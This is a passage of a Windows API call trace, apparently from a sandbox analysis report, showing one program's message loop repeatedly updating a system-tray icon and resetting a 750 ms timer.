0 [0162.639] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0162.639] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0162.642] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0162.642] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0163.387] TranslateMessage (lpMsg=0x130f86c) returned 0 [0163.387] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0163.387] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0163.391] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0163.391] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0164.137] TranslateMessage (lpMsg=0x130f204) returned 0 [0164.137] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0164.137] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0164.140] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0164.140] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0164.893] TranslateMessage (lpMsg=0x130f204) returned 0 [0164.893] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0164.893] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0164.897] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0164.897] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0165.637] TranslateMessage (lpMsg=0x130f204) returned 0 [0165.638] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0165.638] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0165.641] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0165.641] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0166.387] TranslateMessage (lpMsg=0x130f204) returned 0 [0166.387] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0166.388] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0166.391] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0166.391] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0167.142] TranslateMessage (lpMsg=0x130f204) returned 0 [0167.143] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0167.143] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0167.146] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0167.146] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0167.884] TranslateMessage (lpMsg=0x130f86c) returned 0 [0167.884] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0167.884] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0167.887] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0167.888] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0168.634] TranslateMessage (lpMsg=0x130f204) returned 0 [0168.634] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0168.634] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0168.637] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0168.637] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0169.384] TranslateMessage (lpMsg=0x130f204) returned 0 [0169.384] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0169.384] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0169.387] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0169.387] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0170.134] TranslateMessage (lpMsg=0x130f204) returned 0 [0170.134] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0170.134] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0170.137] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0170.137] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0170.884] TranslateMessage (lpMsg=0x130f204) returned 0 [0170.884] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0170.884] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0170.888] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0170.888] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0171.637] TranslateMessage (lpMsg=0x130f204) returned 0 [0171.637] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0171.637] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0171.641] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0171.641] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0172.385] TranslateMessage (lpMsg=0x130f204) returned 0 [0172.385] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0172.386] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0172.389] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0172.389] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0173.135] TranslateMessage (lpMsg=0x130f86c) returned 0 [0173.135] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0173.135] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0173.138] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0173.138] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0173.891] TranslateMessage (lpMsg=0x130f86c) returned 0 [0173.891] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0173.891] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0173.894] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0173.894] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0174.635] TranslateMessage (lpMsg=0x130f204) returned 0 [0174.635] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0174.635] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0174.638] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0174.639] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0175.386] TranslateMessage (lpMsg=0x130f204) returned 0 [0175.386] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0175.386] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0175.390] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0175.390] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0176.151] TranslateMessage (lpMsg=0x130f204) returned 0 [0176.151] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0176.151] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0176.154] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0176.154] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0176.893] TranslateMessage (lpMsg=0x130f204) returned 0 [0176.893] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0176.893] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0176.897] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0176.897] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0177.643] TranslateMessage (lpMsg=0x130f204) returned 0 [0177.643] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0177.643] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0177.647] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0177.647] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0178.401] TranslateMessage (lpMsg=0x130f204) returned 0 [0178.401] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0178.401] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0178.405] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0178.405] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0179.153] TranslateMessage (lpMsg=0x130f204) returned 0 [0179.153] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0179.153] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0179.157] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0179.157] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0179.901] TranslateMessage (lpMsg=0x130f204) returned 0 [0179.901] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0179.902] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0179.905] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0179.905] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0180.651] TranslateMessage (lpMsg=0x130f204) returned 0 [0180.651] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0180.651] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0180.654] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.655] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0181.401] TranslateMessage (lpMsg=0x130f204) returned 0 [0181.401] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0181.401] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0181.405] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.405] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0182.153] TranslateMessage (lpMsg=0x130f204) returned 0 [0182.153] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0182.153] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0182.157] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.157] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0182.903] TranslateMessage (lpMsg=0x130f204) returned 0 [0182.903] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0182.903] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0182.906] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.906] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0183.653] TranslateMessage (lpMsg=0x130f204) returned 0 [0183.653] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0183.653] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0183.656] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0183.656] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0184.403] TranslateMessage (lpMsg=0x130f86c) returned 0 [0184.403] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0184.403] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0184.407] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0184.407] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0185.153] TranslateMessage (lpMsg=0x130f204) returned 0 [0185.153] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0185.153] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0185.156] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0185.156] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0185.903] TranslateMessage (lpMsg=0x130f204) returned 0 [0185.903] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0185.903] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0185.907] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0185.907] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0186.652] TranslateMessage (lpMsg=0x130f204) returned 0 [0186.652] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0186.652] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0186.656] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0186.656] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0187.393] TranslateMessage (lpMsg=0x130f204) returned 0 [0187.393] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0187.393] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0187.397] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0187.397] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0188.148] TranslateMessage (lpMsg=0x130f204) returned 0 [0188.148] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0188.148] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0188.151] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0188.151] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0188.898] TranslateMessage (lpMsg=0x130f204) returned 0 [0188.898] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0188.898] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0188.902] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0188.902] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0189.648] TranslateMessage (lpMsg=0x130f204) returned 0 [0189.648] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0189.648] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0189.652] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0189.652] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0190.404] TranslateMessage (lpMsg=0x130f614) returned 0 [0190.404] DispatchMessageW (lpMsg=0x130f614) returned 0x0 [0190.405] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130ec78) returned 1 [0190.408] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0190.408] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0191.149] TranslateMessage (lpMsg=0x130f86c) returned 0 [0191.149] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0191.149] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0191.153] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0191.153] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0191.897] TranslateMessage (lpMsg=0x130f204) returned 0 [0191.897] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0191.897] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0191.901] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0191.901] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0192.647] TranslateMessage (lpMsg=0x130f204) returned 0 [0192.647] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0192.647] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0192.650] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0192.651] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0193.397] TranslateMessage (lpMsg=0x130f204) returned 0 [0193.397] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0193.397] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0193.401] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0193.401] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0194.147] TranslateMessage (lpMsg=0x130f204) returned 0 [0194.147] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0194.147] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0194.150] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0194.150] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0194.897] TranslateMessage (lpMsg=0x130f204) returned 0 [0194.897] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0194.897] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0194.900] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0194.900] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0195.647] TranslateMessage (lpMsg=0x130f204) returned 0 [0195.647] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0195.647] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0195.650] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0195.650] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0196.397] TranslateMessage (lpMsg=0x130f204) returned 0 [0196.397] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0196.397] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0196.404] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0196.404] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0197.143] TranslateMessage (lpMsg=0x130f204) returned 0 [0197.144] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0197.144] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0197.147] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0197.147] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0199.491] TranslateMessage (lpMsg=0x130f204) returned 0 [0199.491] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0199.491] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0199.496] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0199.496] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0200.242] TranslateMessage (lpMsg=0x130f204) returned 0 [0200.242] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0200.242] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0200.245] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0200.245] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0200.992] TranslateMessage (lpMsg=0x130f204) returned 0 [0200.992] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0200.992] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0200.996] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0200.996] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0201.742] TranslateMessage (lpMsg=0x130f204) returned 0 [0201.742] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0201.742] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0201.746] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0201.746] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0202.494] TranslateMessage (lpMsg=0x130f86c) returned 0 [0202.494] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0202.494] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0202.497] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0202.497] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0203.243] TranslateMessage (lpMsg=0x130f204) returned 0 [0203.243] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0203.243] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0203.246] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0203.246] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0203.993] TranslateMessage (lpMsg=0x130f204) returned 0 [0203.993] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0203.993] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0203.997] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0203.997] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0204.743] TranslateMessage (lpMsg=0x130f204) returned 0 [0204.743] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0204.743] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0204.746] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0204.746] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0205.497] TranslateMessage (lpMsg=0x130f204) returned 0 [0205.497] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0205.497] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0205.503] SetTimer (hWnd=0x70084, nIDEvent=0x1, 